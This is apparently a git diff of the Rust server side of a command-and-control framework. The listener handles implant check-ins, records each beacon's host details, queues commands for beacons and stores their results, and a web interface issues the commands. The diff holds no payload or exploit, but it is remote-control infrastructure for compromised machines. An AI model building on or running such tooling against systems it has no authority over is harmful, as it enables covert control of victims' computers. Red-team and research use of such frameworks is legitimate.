||||
VALUES (?, ?)",
|
||||
category_id,
|
||||
reg.beacon_id
|
||||
)
|
||||
.execute(&state.db)
|
||||
.await {
|
||||
tracing::warn!("Could not assign beacon to default category: {e:?}");
|
||||
return Err(e.into());
|
||||
};
|
||||
}
|
||||
|
||||
sqlx::query!(
|
||||
r#"INSERT INTO beacon_instance
|
||||
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
|
||||
@ -124,6 +109,20 @@ pub async fn handle_checkin(
|
||||
.execute(&state.db)
|
||||
.await?;
|
||||
|
||||
if let Some(category_id) = template_category.map(|r| r.default_category).flatten() {
|
||||
if let Err(e) = sqlx::query!(
|
||||
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
|
||||
VALUES (?, ?)",
|
||||
category_id,
|
||||
reg.beacon_id
|
||||
)
|
||||
.execute(&state.db)
|
||||
.await {
|
||||
tracing::warn!("Could not assign beacon to default category: {e:?}");
|
||||
return Err(e.into());
|
||||
};
|
||||
}
|
||||
|
||||
let rec = sqlx::query_as!(
|
||||
DbBeaconConfig,
|
||||
r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode
|
||||
@ -141,7 +140,6 @@ pub async fn handle_checkin(
|
||||
}
|
||||
};
|
||||
|
||||
tracing::debug!("Here 5");
|
||||
let now = chrono::Utc::now();
|
||||
sqlx::query!(
|
||||
r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r,
|
||||
@ -154,23 +152,75 @@ pub async fn handle_checkin(
|
||||
let current_beacon_reg = current_beacon_reg
|
||||
.ok_or(error::Error::Generic("could not load configuration".to_string()))?;
|
||||
|
||||
let actions = sqlx::query!(
|
||||
"SELECT cmd.command_id, cmd.cmd_parameters FROM beacon_instance inst
|
||||
INNER JOIN beacon_command_invocation bci ON bci.beacon_id = inst.beacon_id
|
||||
INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id
|
||||
WHERE inst.beacon_id = ?
|
||||
AND bci.invocation_date IS NULL",
|
||||
reg.beacon_id
|
||||
)
|
||||
.fetch_all(&state.db)
|
||||
.await?;
|
||||
|
||||
let actions = actions
|
||||
.iter()
|
||||
.map(|rec| (
|
||||
rec.command_id,
|
||||
serde_json::from_str::<sparse_actions::actions::Actions>(&rec.cmd_parameters)
|
||||
))
|
||||
.filter_map(|(id, act)| {
|
||||
match act {
|
||||
Ok(v) => Some((id, v)),
|
||||
Err(e) => {
|
||||
tracing::warn!("Error pulling action from database: {e:?}");
|
||||
None
|
||||
}
|
||||
}
|
||||
})
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
Ok(MsgPack(messages::BeaconConfig {
|
||||
runtime_config: current_beacon_reg
|
||||
runtime_config: current_beacon_reg,
|
||||
unfinished_actions: actions
|
||||
}))
|
||||
}
|
||||
|
||||
pub async fn handle_command_result(
|
||||
State(state): State<ListenerState>,
|
||||
Path((beacon_id, command_id)): Path<(String, i64)>,
|
||||
MsgPack(cmd_res): MsgPack<messages::CommandInvocationResult>,
|
||||
) -> Result<(), error::Error> {
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
sqlx::query!(
|
||||
"UPDATE beacon_command_invocation
|
||||
SET invocation_date = ?, invocation_result = ?
|
||||
WHERE beacon_id = ? AND command_id = ?",
|
||||
now,
|
||||
cmd_res.result_body,
|
||||
beacon_id,
|
||||
command_id
|
||||
)
|
||||
.execute(&state.db)
|
||||
.await?;
|
||||
|
||||
state.event_publisher.send(BeaconEvent::BeaconCommandFinished(beacon_id, command_id))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> {
|
||||
Router::new()
|
||||
.route(
|
||||
"/checkin",
|
||||
post(handle_checkin),
|
||||
)
|
||||
.route("/files/download/:fileid", post(|| async {}))
|
||||
.route("/files/upload", post(|| async {}))
|
||||
.route(
|
||||
"/upload/:beaconid/:commandid",
|
||||
post(|| async {
|
||||
tracing::info!("Hello");
|
||||
"hi there"
|
||||
}),
|
||||
"/finish/:beaconid/:commandid",
|
||||
post(handle_command_result),
|
||||
)
|
||||
.with_state(ListenerState { db, event_publisher })
|
||||
}
|
||||
|
||||
@ -33,7 +33,6 @@ pub async fn issue_command(
|
||||
"No form data was provided".to_owned(),
|
||||
))?;
|
||||
while let Ok(Some(mut field)) = data.next_field().await {
|
||||
tracing::debug!("Processing field {:?}", field.name());
|
||||
let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
|
||||
|
||||
let file_name = field.file_name().map(str::to_string);
|
||||
@ -107,12 +106,11 @@ pub async fn issue_command(
|
||||
));
|
||||
};
|
||||
|
||||
fields.remove("cmd_type");
|
||||
|
||||
let fields = serde_json::Value::Object(fields);
|
||||
|
||||
command_builder.verify_json_body(fields.clone())?;
|
||||
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
|
||||
|
||||
let serialized_fields = serde_json::to_string(&fields)?;
|
||||
let parsed_fields = command_builder.build_action(fields, &db).await?;
|
||||
let serialized_fields = serde_json::to_string(&parsed_fields)?;
|
||||
|
||||
let command_id = sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)",
|
||||
|
||||
@ -476,6 +476,9 @@ async fn handle_listener_events(
|
||||
let json = serde_json::to_string(&SidebarEvents::NewBeacon(beacon))?;
|
||||
socket.send(ws::Message::Text(json)).await?;
|
||||
}
|
||||
Ok(_) => {
|
||||
// this event isn't meant for public announcement
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("Unable to handle general event: {e:?}");
|
||||
}
|
||||
@ -491,7 +494,7 @@ pub async fn serve_web(
|
||||
let conf = get_configuration(None).unwrap();
|
||||
let leptos_options = conf.leptos_options;
|
||||
let routes = generate_route_list(App);
|
||||
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
||||
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(4096);
|
||||
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
||||
|
||||
tokio::fs::create_dir_all(&file_store).await?;
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user